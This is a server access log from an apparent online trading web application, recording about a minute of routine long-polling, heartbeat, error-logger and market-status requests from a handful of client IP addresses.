[09/Jan/2026:09:39:19 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923028059 HTTP/1.1" -
[09/Jan/2026:09:39:20 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:20 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:39:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:39:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923032320 HTTP/1.1" -
[09/Jan/2026:09:39:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923034974 HTTP/1.1" -
[09/Jan/2026:09:39:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923047225 HTTP/1.1" -
[09/Jan/2026:09:39:24 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923033292 HTTP/1.1" -
[09/Jan/2026:09:39:25 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923034048 HTTP/1.1" -
[09/Jan/2026:09:39:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923037353 HTTP/1.1" -
[09/Jan/2026:09:39:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923040106 HTTP/1.1" -
[09/Jan/2026:09:39:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923053235 HTTP/1.1" -
[09/Jan/2026:09:39:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:39:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:39:30 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923039294 HTTP/1.1" -
[09/Jan/2026:09:39:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923040051 HTTP/1.1" -
[09/Jan/2026:09:39:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:39:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923042408 HTTP/1.1" -
[09/Jan/2026:09:39:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923045239 HTTP/1.1" -
[09/Jan/2026:09:39:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923059223 HTTP/1.1" -
[09/Jan/2026:09:39:36 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923045299 HTTP/1.1" -
[09/Jan/2026:09:39:37 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923046048 HTTP/1.1" -
[09/Jan/2026:09:39:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923047457 HTTP/1.1" -
[09/Jan/2026:09:39:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923050369 HTTP/1.1" -
[09/Jan/2026:09:39:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923065236 HTTP/1.1" -
[09/Jan/2026:09:39:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923051298 HTTP/1.1" -
[09/Jan/2026:09:39:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:39:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:39:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923052494 HTTP/1.1" -
[09/Jan/2026:09:39:43 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923052054 HTTP/1.1" -
[09/Jan/2026:09:39:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:39:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923055534 HTTP/1.1" -
[09/Jan/2026:09:39:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:39:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:39:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923071229 HTTP/1.1" -
[09/Jan/2026:09:39:48 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923057303 HTTP/1.1" -
[09/Jan/2026:09:39:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923057531 HTTP/1.1" -
[09/Jan/2026:09:39:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923060666 HTTP/1.1" -
[09/Jan/2026:09:39:49 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923058057 HTTP/1.1" -
[09/Jan/2026:09:39:51 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:51 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:39:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:39:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:39:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923062555 HTTP/1.1" -
[09/Jan/2026:09:39:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923077230 HTTP/1.1" -
[09/Jan/2026:09:39:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923065762 HTTP/1.1" -
[09/Jan/2026:09:39:54 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923063289 HTTP/1.1" -
[09/Jan/2026:09:39:55 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923064060 HTTP/1.1" -
[09/Jan/2026:09:39:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923067570 HTTP/1.1" -
[09/Jan/2026:09:39:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923070883 HTTP/1.1" -
[09/Jan/2026:09:39:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923083226 HTTP/1.1" -
[09/Jan/2026:09:40:00 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923069293 HTTP/1.1" -
[09/Jan/2026:09:40:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923070056 HTTP/1.1" -
[09/Jan/2026:09:40:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:40:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923072603 HTTP/1.1" -
[09/Jan/2026:09:40:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923076022 HTTP/1.1" -
[09/Jan/2026:09:40:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923089235 HTTP/1.1" -
[09/Jan/2026:09:40:06 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923075292 HTTP/1.1" -
[09/Jan/2026:09:40:07 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923076049 HTTP/1.1" -
[09/Jan/2026:09:40:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923077628 HTTP/1.1" -
[09/Jan/2026:09:40:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923081156 HTTP/1.1" -
[09/Jan/2026:09:40:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923094290 HTTP/1.1" -
[09/Jan/2026:09:40:12 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923081298 HTTP/1.1" -
[09/Jan/2026:09:40:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:40:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:40:13 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923082058 HTTP/1.1" -
[09/Jan/2026:09:40:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923082670 HTTP/1.1" -
[09/Jan/2026:09:40:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:40:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923086361 HTTP/1.1" -
[09/Jan/2026:09:40:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923099342 HTTP/1.1" -
[09/Jan/2026:09:40:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:40:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:40:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:40:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923087292 HTTP/1.1" -
[09/Jan/2026:09:40:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923087721 HTTP/1.1" -
[09/Jan/2026:09:40:19 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923088053 HTTP/1.1" -
[09/Jan/2026:09:40:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923091500 HTTP/1.1" -
[09/Jan/2026:09:40:20 +0800] 20.102.92.213 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:09:40:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923104363 HTTP/1.1" -
[09/Jan/2026:09:40:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
